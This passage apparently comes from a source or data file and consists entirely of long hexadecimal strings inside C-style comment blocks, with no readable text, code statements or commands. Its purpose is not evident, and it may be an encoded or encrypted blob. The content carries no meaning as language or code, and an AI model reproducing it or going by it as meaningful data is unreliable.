2981ae713be20d76d5a9a0a6ad358277ef6a05451ce4e1e974d0935f6fd287e08e4c8af5ba3726737be5788bebc9f2bedceb540d709bfd62c4e3e74828c805bacffc11ed5bb1b4f050495c8b7edd2b28148c9114cddabd0068c8cae802785d324dccfb886794ff4ebf9626b35e117c2e8dcef64d8ceacf9927fb838702eb2ca0ad8c9b7e232bce6447e33c90c4c09b1cb35ef471611e5e1fac2b7428d84d36ef247b4f9246e40f4c0568d6940b0f2660f37965e58468f42f0de620bbad5c46267dcca602b5795c441d3e907e0116055a10c936a36bf991d4b778b3d5f23c6ddd5ed323f801e206e2d6ac64b17e64de7a2fb91db2f8163fc97bf0b0df2677a28e58d3ce37351a687514b21963fb18e43e0afcdf65c506cd7122ea8eafb4a375418a8d1d4aa45c3db7d73aa3eda3d66ec3e9673928d9d30d12b12c3b21a0249878be0bb6bccc66bbd2a7f0a9977bd3d4e3f63e3bad3f90791742716fb51f6c4572463fe51e4fe814db4c8a79e67f4c7811d51380b06f5af5bc4a522e7a97688b1111b23f4380129e53f51e9829b08eef068b7a62b31ad19a4ed4ac7d4bcaf8ac18ae5127a4fb4901*/
/*dfcc113f56e4f1f2112215f3cca286e63333ba4bb6fcc6613512cf03f4b665577729ee46d5809fd548519f57c231f9d1a300d80999b915c087dd670851d0526b2dc63a88decbfac3ffec73639dc71e8e86f4821c8cf526b41fb53361b3884df6975bf82dc3b4f9d5936f0ad91173423ac7ec82bbc245fa7247c2519dc015e2f53d128f95fcab8a7ac7d02181c6914a87c8bcb1b935d5c6640443c5c2dfeacac19068eaf1ab34e2e46b83c4a03c16bb9b4347050a7f586da6070592f95f00e49439dcf9fca8667231a9080f9bedf40dc5d3af0b68ffdbc5361747768c1ab10c358aeaeb0994e86a577ce7356a66e70d17b24b72e6d6ccc3460db8060cb110343452cd18506a3c4e83c0265e1bf78daddbc88bdee092c883b9cbb90d86262b3cfa17a09a827ff3ea787789f1a560451a10dbc8b3cab39ee388b7d61eb4ebad3b7c3ffdf2c7e18bc5e55ab8598f6d5952dfc9c36fb59b302d0bc46582eb299ef86c38bc0202b5e898646e5296f8b67d1319eb9f31facde2e6faff6a715cb9d6105c24e4ad88003e4f5013dea58bd6908c70dc191f35030d53e3d09bdc7fad0cd9e7341450f920264f87c52e74b5ddf5df08d7aa62cf2ec853772e482c35552f8bc1a051aef59fd080b7d696c7c4732b06a99dbd1dab350e96e3484574d32cb69e2eb41a43c1f8a3275ca5ef7c4b22df2f930a47db494e09c57fd0834c703bf11ab9fbdf2bff2686b1e273ae62e63749269c6b17da7315bbd3741f1fc79fe485dc1769e571f6410d4663cbbcab210f0da74592ad9ccb366399b33444a153e160a543482e5ad066022a78a0fdc838fc18ceaa6b43245d4149536158042d7ed067b1404b98027b0ca4692ac1e071dcfc436cd98af99962010914616ac2986385fd20580bf8f7aad5f3cc44b677ab751b83830420bf0caf24d4ea62794091b7b57ed97ad1b2d11ee46fcd62045c3133be059138e7580c2b245dc43f6b65a86131884e275c60f42e5040b530edceb08007e023b1641d46b2b1569c414b3909946fd7d4b145e5f98ab1dffc1f8ac9b23e492e9b878ea225ab924af3970e0a5c710bfe94b87576c15714653fc5b023d77f0fd446c46c494b38c6f0a8fb00ef3eb473f9ac60a7a23c61cf0091bbf6a6a4d7b8cd225414b6c88fd8d5f0c305fcc325fa5b20d120574ed4c9eeab0e11d60435ee4890b009ed8274beeb1be8cd00ade090b688585a3a131509396896de99e95ec36a8dd554ae428ef0f83424852db2b7afcdd5c49efb446062cf9a7756e5e25c58cf1ccd0b9d4d393a0992abdb097893b325dc46b4d07a2cecbe0a0f5c377836e87778a79534c3d49f448646fcf57061c32b1bf3223b026e09bc6a760aaeb6c3bb70b29f0ae96577d80ab96e1f2868d2e340c54e669fd0568c34bfa68141e79cc16840f38bea4f2f31d1b3f9c56c5a6ec5ee2c223b50a1fe44ed17a9526c45e043776849ca7c56b4ea7c973c93e1c0dcc9553e9fd6fe4829884ef5359b6c4fcf352ed385a3651fa270b65f4e95e58997fae9f77b442aa9ebaba26a05ec2b5f8ea1e8feb30c79a000605a6119eaeaa40a47438a8c0d1ccdc601e2e2ac60d6cc9f6f953c481d548897195894309a6d6cf864145db57d9ecb6f122e7f90814e5b045d7af96a29dffeb68f4437c319b4ca304f27dac95c3ee54cd20dbf5347e361a92d6770091f38474ce3ad8e946f93b25196cbb794d65c79dfdee04d50a3dc1cc2bd5d928e5b93307f267c18e5faf83102f0a89dfdc7b0780ed650e64fe679380203c3784d05d4e42b47158d32fbfb42f7a466d3678facad25d524c2e788bdf29561e5a1578119c5be5e164b4bc5966dfd879947004cd0dd4af7a20e39fbad07daa7f1cfd4c93d71532673af5ff79c15ae264e059939ac278510f5a090f42d28e8475be70600102f937495cb60585715d7d6cafbad861fe25359d18bf16dc0f2e10dd6279b4ccf5b2c5e92c7f1b882910047364e780c6d8b375493e66beea9f8fe656e523a737355a1951c312880a342fdf23a9cc48784eb20ac4aadfeaf7bebad20dd357050496f72634b129d662d5c013c0ad49aeeffafe647ec5fe24e6c271f20376ad5af983dc22eb75c1613d767c446c2c1f6f2324cfb3a8fa4b7049b390caaee10f30c7fa7f0fee060ddf0a1dc9b9003bd4772f876fe1a1a995ae3d649c301abfbfc371a726f6f9c9a28897a34123cf0b092f6fa7dd1ab69f80c0343fab2dd761d1e22578ac1c24807f5c2df66a989c16f14cee3ecfaa36b8235f3cd5753744009418d28a055262b15c82b21c4475ba6a6eec22cdd80342dfad0062890881e4adc9d9bfb51e3e148cedecb8558f1fd6edfc81bcbdff8a56446268d9e8b1d20d6d75d2ec11551dc031bfeb352649957703fb42902ac48b8dc9edc2fa6934d4bd068a4c27858849064069b98d503c0f62be4a5c6cc3cdac53dfea88c77dc36cfff488b8f57465d666045ff27c30efc625b17ab99742201495417031487a095d1c4e8e4eac537009687902d8f53b4b14f0eaa75ca9b1072a7bac3ed673384a45ab6ec35297881d23725cd96152ae8a99ebae02a0e66fff652116d5ab73d4c08f7234b1af56509a9f68453ff25fbb5dd393d4c2f3c0357952229b63f2acd9fd62a7f514bc0219615d04c116b070e1ada766f6b643b18ce3389ea555d26bea21c1dbf12b870c539b976d8da926f130c3229f727c8f284573b899ae662c1f8ee552c80998fc13cb0e27238407d82b601e39f98ad95c7164573b32a7a52330fccc80cfd723673b2d7e7084dcac025ed8ea6e79872343f2539daeae6f43ab72492f5b8535966*/
/*c5efceca54ab87d5e87cd1c0e75ddffc2bafa65359988b7e17196972a0ea6dfb119cdf4e2e63a809bcbb6dd33ec9a25912494cdb95e528e4cf18d1a47636df265367e5023b733d683533e6d9f32e6d75d20f6bc7796c24aa0e2a3d53784eaeef3542d6a093df42e5cac6c9256367fa0f164dfe974d703d3bf4c15d8010719e944e9d2ff9cf7de4c04fdd899d06377730590ef3c99ca71a8543c3995ce180495cb88b4168eab3ea73c9cb1a767bb40bbdbdc7c9861e4309fd75462a769ec7ebcb33d2efa0ec4f4b4e1989b18b1fd9604b8bd9eca3c012c17d57f4585182ff9adbc525365b2b949e6a855e27e4f1600462672f279659271d72e65a52b8e274db1c21731cf832907829c43798badfaa58275bd197eafbe697e6d7f0de50264780aaa8553cfb82122682acb086f55bbc163d8bc9dac4ca596440a92dd3497b45d34fbf92f653884350bbb31f12fc4ac58661f17b940f56e98902d846d557e36b6b862ea8275e7ee4619b8fb0623995fef95b4572dc7f3ca143c19e4c7737439aed40f53ed992670d260538198d5ef998ecba39ba3fbb96d9f8f356de7a3c86438a9d2dad909a8b4caa7df1bdc3e19059272a402e39b01dcb1163c5b1e6b9afcd628701e9634e36680131aac5fe7766fb8b6c6c240781cfc2e9f1de4cadb498a04c13e9121a32759260f5b76fb8935577eb885cb65c825b5b88e5d036b67e5c78956cce926443913b9cfd25b803170a9720668e14807763076cda08242df41364d5fa917eeb16ce88d06caa1417899206de557f0ab315500647e677de3374d7b7ae5fe5ebb1dd3e6313b13826a36501559344ca09f74624316df476eb472b08b5f35ea0261e4b53dbcaa51ce2779cc28e583f61f4bd597882d31b8d50f0f8dea77f8462b3744abb2de400240074413f507eced7322eb85ba9fd6c68b5c69c6868b06f6d7cd34a5682a71759b4184e98d31e880c1fd86160da329eda421a8e0df19444661b10880dc2e5beb5f97aed12913ca01bace075b78fe02f10aee821b12829518517b33bff7e66e095313b717f79de2ff5963a1154f9adac84643d93368c89ad96cb9f7be5eb692f803f76b18e183dfbc56d128c924ac38eded65ee159f0cedf5b227692900c1093c37d9b14859476f74e1e28d358e8c82257c678b8e87fcd845645aab69f276f6b1b7fcc16a8cc1cd286fb16763e5adc0a8a5a9df65aa9df128ed4d044e4f791a48d8b5cd8f5265902c2d3b09f49814f33e6788fe2cbaf6d46fad79bc67e94476d7b2dd81704ceea89f234cfeb7094731069106fb51b53f85b93f322a619c53a4fa67513651c04e6d2a8cf59d9056d11bd9b6ff6fb682dd27ab7bb400f98591fd0b95083a2fc7c3d34b72472f8be3fbfa7aae5d146121fc5008c2ce7e26194b1883a9c34b0fc5a0ac79ae6c4dde19f17401daad77af52a72c67a5f1218407ff5f72f1008528d361db84e63b3b71303ce69ce3cfb09114b9678728150ac6bfa79a7accc4d76346283ed2828ce3e3eb94b008acb6c533fcb4246b8f03f7d3d9c25bb6a1d2c65ddc5b2889681833cbaf65321f04a563c5ff60baa766a46d513b1e313334b8129f893a8235f2a1f3fb8617576061725a8e71aaf6fbdab75bcad0c863a529b37aa9e26de9f4662e93fff6d4409fd6a4633464fd28d6e4247029a8ce085033d1c512e24d13eabf98a1da001b9715ae577b68c9f2c9cb80a8df874def6005bb2988c31828c927ab7b60567fe374b99f5217f45d92c606e32125edb4060d04f3f83b00e799772e2bbba8d0d821713a84aa69b181a9d34c4ff8a8c9a4e948065e448efed045efa8e031789d53682f502972c5addde5e63d6d942cfb01875fbb58a2ded9fb9e522ca4060a4928af63f3103fe082769b4a0848cd51f65b2e11689e5bb743f909b88f27c8a9ab71c79fc2ce1baca5ac9b00a0591ae825784613904d7fc7390734ac0b7d9734a5aefaa0c74d8844f9bc1f8bab997f6a690c4833604e176671cebf4b56c65b1886e85bffed51b76496686f195b6bb1e5267b3557d9cc7247b8879a7661c3bf3efbf5b26a655eaa0924f80dfcb584f143d4ee8bf0adc9e9e5245151696cc64a30774afde909136f5497492b6967586e5990145c489dce285e041885123d6a7ac2613c46713e824bbbf5c708eb2e8e17109d90cd536b9dd1cbd528c0d21bf0a0615011c85aeee64a33db4da07e40e660fb6ae1341e147852057f5db6a25209e612d2310cc648184785fb9568d85f00bb62a828aefa04c293fb62eb104a892daa0a8e41509efcc9809862ffaa208ebe86657ecfa366a8558f742f16b7967f7a34344ab6ce2583bc7320338604622b81b14fa02b47b4ef56716a103d3ecb85b76a0374ce935495f77188eea2f8a6acd733a7b98a104d31a9b4454390fced3c628dfbe619cd158cc724b6d57d53a955d94656937f2e4ece77e9ffc7eb5326e863e6482b6b9c12246cd822f1115f5f6c52c2624462eb574e10ec5d92a9dfcc3a386d2d421eb25aef2194f193fb024532f01f296e18ed59c7d831b7fd0405ee77935ab776d080a71618f06275d0bea8bd32e2abe3a171a3cad98f2c9955e8584fb9ed0ac84fab066034a0dc9146c9093cbc254eea7ed652f4009d405e4997fa0f15912cb29a17b2939205e1e46365b0a4ac201df502a44737351195ab4425c1625cf00449d6fbb5ca73caac9f907376cf381d4ea7374da561a12da47ebb55a3963bc959c15ed0b6e910b47bc996bd4a7fe53aceb0f59001a82857152cce783c5fdac8ec54113aa0f8e9aa6e4d5d59db0fc479aef8f4e0647a24d04cfbac5fd13*/
/*133a2d8a883c2f3ded938e40c223cacc0ee03dde919c0a57e4a53c738f621bfd66587f4056fd311e1f341d97dad79eeb55e786e804d93320b0b626574fb94abe935b85c066da108a3c6332bd2e94445e45368734edf3e6d9742638e2a763cf7a6628b8b37a3aaa043d46069265b07b62c571f330c24a248f487533279b6d880504a63896cb429f6b5964d5073fa3e9479a5109f58d692ba1c39be5be5e2cf8b02d5e1ffb5c703ff802dcccc15f3c301047b4cbdfd8bf2756021cd512783e112336e0a180a823fe7bfea4d88219d1c0d7256000f90cb28ff4a719022b6c5ac11f3d5c81607beb731f6abbb2864596b83dd2467f9b6b7244f50d5092474dfffd2ad42706350dd920684b3a76a64f62e3a12dbac3a69a9df2bf7ac6d2e7c43abae82bb311f97668014f74465504acce0ada3da6cc437abb8721fb1b425ca493f21c53a3992d7f906baed4ca1f0a473a364e85cdb842bfef0fefef11f7eed3e7d2c40b191ce6137ac394bdbd526c6721e7d2d8c4f57e14bc5b38ac8bf561d9c53e41f53e4f3cf45f7ba24ebc2bfcfaaa35993c07c042dba07f8d8a43f04054d1105aa4eda011dcaae99a8b6459ae6fc9961c2a286f3eee7cfd6a7d3e6f8d21fd376cb8b0968b511bcce85b8c6d3326410df10bf53d37b148d21c8a5fc9bd59929d51e3b3a5c2367a6060b8dd0273422c54cf4b39df1f99056469e932c2e9accbf979b9362456fbf750b1e2d4f4ab14d1b85f629fd40b8642b946bd715e854f2cfcde84afdb86118e3e6b8519fbc863a9712b870d2891b3b0e00dffbc23bcd9a5d1b9a19fd0e787888b516f65f444ac69146adf166bc1ae355b6ad7000c2c2a4710521fabe74668878fbd91c1c5f94302bcbb2d9910574c9b3fbc4cc73d81a7c89f064d6bd00671ea1a488a359aa079fbf98d1394757d0ea323ab7ff6fe9bdcb1d1324103473abf82e2879125423d70dc120fc39eabb6526d384ed7ae3d222bfeb2e443ef9855b30c13a968d6453a6e124a2bd5071364ece2c6831f9b84de3fa6a73d7c93338ec19fac5ab7221d0b065f347479f04645064c2e2a8ebaadddffc2c17acdaa834fcb79597d00eb28a935215c28968e6a67c46476ccc876e0ed07b2f5d709bd2c10356d84d409e987474d94d0a7e7414f3063d96564736c715ab8340eb3b629be35088429b989b85ce2e132fb522506743795613003a65e9128af22ed62c6d8073fab1b90185ff9c23df61b6f0c58bf74941fbf90f7765c6f05ddf3ea9d0d6b73d6a9045dffb0c4306d995a5d475f25fd3f66f4ace02098fe039df0bbcd03461a35c276a581cf74ab73aa7198c48c58483c365bbc0d195d5d072de0b4ef9d2147266bbb4f45694b1667218066538fcdae44752edb4ea7461603af195312cb101217393d2379c81c7e19c286957aa65c726015dfc9867a0dda62f93a11cc563c2e8a0f64ab59f842852ffd0b529365d03e07e326d45e87ea58244f13dd4b1cd42ecae47ef697820addff593bb204f9b832c8a7d1d09b6f40f4475ba6025b6e42860fae38417d27c5cff69e7ec1045986b26e498695385528a8a3872b366a61b3a7cbf05eadb9f6f7f1f278d82d6788d795a6868983c91e6685a619e1aca048a4dba00a39dcc5dfbaa04b9c8c737b5131f99b255732126778fea79e342215d6cd09f884c5f7f3ae6f9002916899122e0cf935c692f973109b2714840d2bfd6e0ae17dd12eb5530c84a9d26cd515f04a0a7c256749d93cd8dd32c0c3f63171df0d1b32a4e725c409c4030088db64a931c0afb0d92df7001d10907b99a164fb0b71e359d8230fb1fcdda9385e634ac549a4754b162f68c59d5cd7a13efd8ecb41609fe0de58821c635b48a63b30bead028c8cf09af2075079e64fe06988210da1b6d9b06bf788429da778d56d0ef616fef53ff1f45659c1ddc957ff49144ec1737e7371ac3927f00029082bbc20666759dc5fc5446b28c5b23a892e8faf1a7167819bd020b2598a1c5a5c7abc4ef38aac0e589d94173f074be3aa67d7f7e5bc8fce92413bf4140e104cb1fa748bd850e4143defe72ceb71a36044258ba2bcb35636f74377cb183a46cd1fbe523ad3919210dd494fafab218ffa3f6babfcdb77faa6f29865ad9967e55c31049d33e23cbfd2aa7c1e62031f8211ff7c17e3c2f72936299df4cb1b4591f07e9fec17aa0c2e3deaf9dff9cff50bb490d43af187f71449f63183ede42db431d38559031d123acbd7af87479cc9296be05867c904a4e9e0a1611163be8dc1a6587c7ac3eb56e1eda0c84c0d301cdeaef954be527712754caa6b1f25f9e0b80d468cc68eb8762f73919a709dca9b73a0c75121d7a3ae962fa3cf3fd2aa5ea1cf6bb529db0014eaad491cfd9374658165eb7d72a36491ba5fb17473da370680f727cab2d5bcbc9bd0e47aa10fb37911cb7fe21d18ade1e56c9170053f08caf870480fc15f7b37427aec3629b9ed2fdf3390c871b91b2a1bf5202b50fb4cf09f11dd3b7c8074792919f9980c2787a26b5d775e84b86bae5623b4be1dfc02c7c3389a9926ddb34f4c35fed7a3b9d003e258357e72986f421d71fd19d8efc3f05ec700f8e8b7ff7f75a984eb7ab33d2b8ab874ae3b57f8437c942b3055d5970a9fdb9c733ee3b77aeb0b3e3fd402fa2ce6d4fbf676c435b1db96bcf52a4b759fa9e78d7d54b319acd85e5c156dc1b4fec6260b003f95bb7cbd8365bf792a1f15f41261d4e7c4284883238853826c5d36d8e8819f542cd6f97cd81446eee6b0f507c7908b4201f7827683dc19d8e888a32f5f9bf7af5c155b5868c8f6d6c400d7e0f2264e2c96f3e6*/
/*2cadd07578591779241ca3a371861b0ccc95fa5ac9535447e9b477a986b737e9501f1d961a5149fba110d144892d07bfd8efa4aecf1533e4d929b4cb597fe50189e9367ce72b5d40bcd2e4ee7b8c479f0deaad6ace7785fb6a0365066ae3fe9ac1c04c09829b095ae8d94f92f399233e6f2d322b228d87893968d45dfd1f512adcaa71715e097f90fb6b850daa730b56d5a9e1537912271cb664bdccd47369fbb6d5446ece3bca761d81420a005493bdc6e1aaab3de022ef02f1f40ad414a0d0a7e39d38ea91a9a8facf79aee41c49a262d9f7a1b96699e194cd071f4f5e764a06cfff60063d13529e7bcbe28c4c1cde470cfca1e0e9ef78f14ac14935971ae352ceea527cba87aa8932ef82ce12c296a59fe272aabc02485d9a52cd9a441990342df6f498c3d0dfc03af209119f7d862bd6d84d654d8744dd69807ab61093a1b8d042847aeb741939169fda8e467c242b3b698d71d331881822420cc257e234ae9a8911a66b2482714197a279c67d2544356f6d4cfc4640463e39d01bd0ab19d2cb64143a2cafefcf16d79aa517536c7ba84ac2f74b6d5295c3dd7de1544fed100dc58ebc5550227be8dd6b5895fedc083837c78d15ef1baeadf4f190324406d4104db6b7d0d8b1f46c5923b7def22346c8bb1042e2ad238ed83525d8ec5400085f9fb14ca78106810009abd6ef6fba6f29c6245a629abc06d65804f6c0c04ef11c63e903026a2de8e0717467e4259daa137f0cc6394ec5655afa232a378d16899c06f5946cf4881da23a3aa82fe6f714225d181f6b18a0349f20d9bb1187526fa26ad2ccb4767dfea60c123c59259cd10307c38a9993ef4209567a3a072912153e700ad750f68e866173405da698534682c630e87d9fec98b0b2cc4a5d8971ebedf1416941764a788c61b876d74a985215b8e95ce062494523dccfa31cf46f96192e7e366e9774c7ebc9d5d4e9168128f03264e6ed3eebdeec3ee9b002badb87ca8d0bcf7f11cf4662a112b79fc2bd2a08461487a2b4941a2075c46cf45556738b62ed9202b1fd2f6ea19f76edb886c5c9a83b9837eb5961469e5a961350fc4ad281540bcfcbbc9ebe5e5b77f8f4e5d376af90448100578d04458fd2e92db9fadaac553efb3d684c3df5fde1271de812fdeca5f60fd663c60e05121a345cad27c563e9c4d3ecb994368bcce6a511f29f9b0f3c41445710e0befdd3c6fe9b8ae62f752f8488bfce9075dcde9178b8d93ee1377a1075a2214b6b12125cd4c0673f64f10c648adaf52b231876ddf5065628a2da1a9cd7136d314aa7ceaa7b536ced8489d57f064ba1312cd5f14e528dadb22217b4e69f1a45f10af4d3f3033c262e7dc273aa608f97ac63ab0ee5fdfb89541f65d636fe5a622f488b4cdc47081374459e229e0487ca5ab97f3b5010ee49b01d80ca3473b8278650bc2fadc6c94c226f8d4e4b982866f29404a1127d0fee39eb947e4c3b4ee4a4cecf5250b9df30ad2cb4d30b1712df9257cc595d5ada75eb0fc90a323a13386dda55fb4a6d5b46a2e67c20ace50716f40398fc38342c462bf8776bf835ee6ca1bcba17db04403b38a8101c817402c665d20ca6df27a0f1795f1b26e87fd91650b66bba76787d0891e50deb0ab27197e7072e7f9d77f0b18f68207b65134fefaedc12a50b57986fa1b5234c476d6522eb143c23a23fb2efb77de152c73b23486276e97bb5642fee4832c6db2424269640726ef432015ddd424f3bf6b10804a982b58f5e69d6c7483eb54280cc6c96ca5e47f0302b67497c5a22de294a04b62c7da5d5c638df460080654ce20caf8fe46658bda578060fffe5fd2487f83eeca764dce4972bbd30956ee72ee1159cb672485f0e6f63fd591d8ea0f0be26b57ae2bd9362bdeda3878264ebfbd07eeeae595d1083737f1c298904113aef81baf4023cc549a0fca03ab4dedc2f1174f8cfa151b6e2caeebcf51962d5c7dc821161e9eb2ba96874b5666cb64b6501b75a36c6dfd67533c0954968526a3ef18e6667d17e3ca259fbf7295b93950f536bb080ba55c6b4db75acf9fe842950daed5936cb6c59f56ea821986343192a84ce300371d62cf683b0f48f4454b335098caeff0b2332fcd2c69b48acdbac63d84b3e72c32c38f03df3db71de3fd38ce4eaec0d05943c0c5eee078b4c480732bbacae5709c9fab89bc30492ba19c5eab4aa3ce2127dbe3f580ea3ab6743dfbeb92516154e6c239f02144255d5b400e4ca3748503ff02fea955fab373b02566563f848fba907b34c9dd6883a6735b6488c7c8be2a1d219d27b4b379ba889e3b4a2f42a99469ce3342a673e571956ed7ec3d0ef06aa2f84009f3f84a50ee58dd6d67f132ea47467ccd442e07c19ad400dde7f74edc27bf81099fee92eb617f15933a68ac1c5037514ee16ba9d158fd2bbb023ac977167c661d7a8af4392bf33316a23f1af2a331cfb1bc6ef202f17c40b37f6b2c640032e4b810a87a5b37058b27d6b4bee7959f3a007a19beb952ad5dbce6e96937a8f682a4d94564d50a3e5cb9f2e79ecb2c2d96af5e795d74db796c20944b27fdba9e79e25d0b7b24a1c6fba002cb0c2b7553b9f1abb5c48a04573a9c93f1183a13ecb833fc36147cc0f71dd16f50c275b71ad218a377f876c3dac146fbc1b98c34720afe6959ebd76a590ac5789e18149a1b79d6a69762d1aeec090fcf128a5f06088f74383849370b5ffd36e7e7068c8a69f790907f322640681980e400797cf9f1e3014aeb167967ea3dda8582ae8e3dc9323fe061f6157cb984ed9c34b7f201802f4f66dd861821c748998696baae049ccd246046eca49*/
/*69dd16e8cbc17f2571f64504b850619a6b0db38fa8735816e6e5d3f53ce76212e66fc9c460b5fed9b0dbef4860d96514a4452515e66665e043518e100c64223720d7f4f13d4cea654c94fef6076a257e7fd03e9a8026f10a533ca48d4740744ba26b09d24b904ba1bdb4d031a18c49de62fcb3c4e7f95c3d69d97049d4860db7508e8975e81c2bf64b7350fa8ee9d4f470c4eeed7da5f9c74df8543c00f756cbd9c9297bcf22ecbfec15778bdc26f94e8581ef04e0ba53de58e39c73b09005dec97e68ac6ae254d04b7a2178e4a557dd43d4271ae37f2a41ec3a3aa440280aedf4f7e207c88a32a6a8879cb5436e306ff8c8425e9b2ad10a0ace39a8dbd38647dfec828fea56dcd03a24d3917eded8c7db08d7b3e640664cae83b6d61f68b2b570c83f6b65417ebd4319a2cf15a25d81569b8ad46a9497d4f14bf45deeed2f1b862d50e75ec9f66ce69e5eb4561691e924a89ba3548b49e90d40412afc5c294f92620f6e0c0367d636c101d3025351427b720e3c345a218fe46ec71a9f4d81cdc9fec03437f7c4b0e896411fe2d793d04ac2f7761d5d27065ef9228fea5a4d1b5970a9e5dfeeb9ce980fe644c555e793b6150c08026efcecb58b13db5531fe6ced25b97bdf466ef2dcc1d2d2856c87378fceb86aa1c74ad8de97be8c1d58c1e221f2c4c0bdec3d449efdb0d5b40ff6cbc81d745f4ff240c5fcb211cb85326d861168eeb8c041b0ce9b6d12c12f76d2041cdb4cda7750ad82fae5a116117c2860c0411274baf98bc3cbe75471b49c87f60f99dc0405a474beb6c7f725d58fabcc5a7fb3d1df4d0297715dbc0cc3df2714a8eeaeacf9eab61f755b9f90c6fedba8acb21f8b2d978e83a56184d4288bece926e62505e8dd5e9faa6351444c4a7897160520c27db5b380bd7b79cabd5eeea72dba4cf480a199db719015d92f2bdf4875e45e4403b20972eea3616b31e2f4256623968eed4c887a8c2719a496157d6bc1f8b3ae55d22a379df8f0d1ddf01f59341a8e47fb722cf48d5425d56b7f49918326f999fa0670232d5b13b1e02e6a09d9230c5ddb54d340b0d3301963d67595ebc1b0bf5f1506a125dde73b47ef12511b9123872580475ba3f0e883d04462288dca0c7ea144ea68cec26688e53794ce59c0c2b80c69b6534233268fe7f28698a6ff0475075abf4cdc071783acc1812cb30f0e7685335d45e4d0d4d61b0932316599bdaa19c95aa29dbea7c35e01a9c4cfba0589dd298bb40922ffd4a63bb30a59e3a9bae01752d2b18e4c754c0f1876021506f1613685342c83fdd5e755ac7d6c0018a82867ad77505f24ee600f2e06bbc0aad58860a6611d94483116cc57f10059f8b27116178981939e7a651a3de7cea790dc12ac11de484861ea1c2b51d7d54b9567977ae3e70214d9e1bdd483989a6ca198e507990478463864052c85ac9992b41c1748caf59b7afc4344f033d4cc27da53d72b9f2f09543ef32e368e03ea94dfed7904877b1c378d09f31da47bb34ca17cb0439b4209fd657c2ef693a4966a9b85f240cb5dd5ff6f3b05cf1e5cde5a1a53ee76f9741e65ad0ef8cb41c88ae41f5fee744f2eaad1ef1c81e8de90d55f085598a8fc3b8a832b92883e3b178b87b1e3a91723dbd0a2315823b4c53a52253dc463acf20d3e4729178fb6404ca7493ea269068342e05e9a900ba661520941a0efe95e7aac5e10fe7df95e5053a441f225924ecb1af578a905d2de7dd11369e52efb2fa250edcfd5d44884047a73f05bacf2efbf8d117b5f5fff17516613d0966de9ce45fd587e2aa728bc34c8ec6c35ebe3f5bf119a022e4f791e8587caf53cb660946aff0e877b82067c1ff63afdcc9633337231eb3de4f9c65a70314978a61680ec1bac498209d6211734ab6433d075991ceb4b143949c86e1299e0daeb51f6f7dd1ec9de5b234a6f6b7e767badc3d8f08acaecc02eb63343e48cd8977b0dddce76b4371866db8016579d69559afff92c8a38594806df6c725b4ae9282eb6557e81f2fef0304f7356f5215fed498a106aee9e3fa8494400bfc673586f6a79ddd790a995f3fd3b60dae2acfc7c554790a268f0db49ec62563f2f639b0cc7b1f0eed43ad7fa9eccb114f4bf3ffb54b84ac45518341b5f5cc9694b1a19172283ef6f7ab1d08f4b68ae9279e7827009ad4b9d11267293def3979fbbd35e44cc5661a1cf06d9f549e3738ac71f9264b7f38dfcea87f44fdafc7f3f684be3b91198d96f2c0a9e48dfe49502d636c1875ed07fb24cd5c92d1d65d9d1540183e89a4f1432386e6b95b8fa2b5efcf0226cd1e587235de7e4f80bf6687ceb1d44640270496ebf5fdc21deb64b144fb5900a502419a05f35518a197d7639e1f2ccdb1905f5fe7739df3f079acdcc5330c1d694e4c3c64a45852d86411b4a8ecd94b26eeefeef2991ba045312f873c5737d0dc4d43c1e18cd5c54889608038ebc893ed492abe3d87f2a5d16c05d681a96737b84097a0b7557fdf9225b0c475d425665da32fbc598482c25ffc4a76dbc04c0a8ea1267ef78ad2799ee4679ce2235880ee9370218a096fb885436647fa65a72c19a9249502f2f7c794d89d10dc5423b4479d813c2d063fd8bd6732dd75f72fc39d6273bf36402955b7733d40e1fa83e895fcc009ce2263c6291db356f436bfdefce74868108b135b8748f5a5e32962daa9774aded2d3458da888eb243ef22724c8acd04d6c7b28319818a77d20acb237aa10819474014057590b451814cee60b3a04e2c48f53fa19e3bc116a49cbaf512db2868206ff2023fcb0b1011cc1595ece7c26868ef233ab3d80dff0a00ee13*/
/*06681c21ac5627658d92c8e45d55f69b4cb1474719c7634eaa8896edb47f20079d6dccc1af86b7973dbb1df9171141e9788bff70a771fe4ae720364add886d72a9a114132306fb4ca22eeeb402dc8f76c05f1a2a1fa29e936bfdc66fa669ef4715be981876d025a389b037c590e412096fa11b225610f3bc07f738f40d63b601f408bc3989b14a25d5003a073a7f043f2bd98439493610e95b3bcc63bae5ce6e8c86283fc3b6da8b558818283a97af2d902777ef7a01c416c3befbbed6770fc22ce6c7f3a0acf4ded0955a32ca3e2a1ccb0081f0f8c5ac9fc52a6061ac39dd1bf02256dfeb7d7c738c8ce447bd229cdf5787401d440eb031fdf32bc9516fe6726a65cd78356dca18bf3897f7f7e00ef0b42fa6f5df7c452852054b09a71af598419872fc5dcf4f8487ac53c3a14b73d61d98092f98b29217c864be4567d512b9415c1b25bd05d3196e197221043c7f96b7901e01bab6f84bf698e679d9945d0a22df2e744b3208d6cbe9df323c99c8f4436654e0e07d58580a3ccaf1913dc9b78a13d5164ffc5020631bb72397b9785b687abc331cee1c7c11e386b6f238b2cbdee6a46d929547117cc94e146f10444a659d719dc2d144fdab7ece7a73f13b849b5ef73ebf4ff156f37a92f1df5c5c45543d24bcdedbd0b98b6dafc76068dbbf50a5bf356654350b8bf9534ff0fb1962b669563bd6c626f09e290afe7dccb98f3e0852d3201589fec9322ade16bd693ca75047f9e3b782b3328f7fe647a979cc971322b936abaf39f39f148d8ad9845c7aedae5529d8497a6aac4afcb7963058ff16ec2250897257d80f8595b318ab7c7cb6ebe2c410dcf8c7f1b34db52920e84ccee18c0c98a9d20d023cd4ae98c6b38ab71d9d3e26e784ec266d3332283c2f3bc53e5804da7caa08c14b647bc1b037e4b4c8389153ffd42e061d97121f7a61ea867193b5a84c7a8e451098936a716c6810743c3071218a2a19f760e57dbad16b70d56dcce53c305c5daddda56b444eeb94d9db0711e5d89cb2f0c390cff868d7eba1d7435604998df12bb5f97907dd6b9078dffbbbcf4e97351699508ca3c9a01d68f8e18f6f18212def6535a292ac5c0617319d9c09953e53c8a07eac8458af7f89b44a87d1ace94958ee6a429b8628634579e7526818855655580571aa6fb543de37b6dc9fbe7cf7b8cc98e87353f77d58dc51b8024f9b6ae0207b7ad5d5009601e6eea04d8d296a85d50a816a94cbafe257380892fdc07425762ce2a94050396ffb49fdefeafb594b31324cc517f556d35bd169313a4ba69449f4bf136149a1dbd3b00a155a632c59d248d10e278adcee24fd6409d2a148fdf5a43ad608b51b8f89f294e444cfbdbfb695eb1b7babd84beca89788d69cdf0c5dcc8378999fd51c62546ca0fea40ecaa9401db98995ade442a8640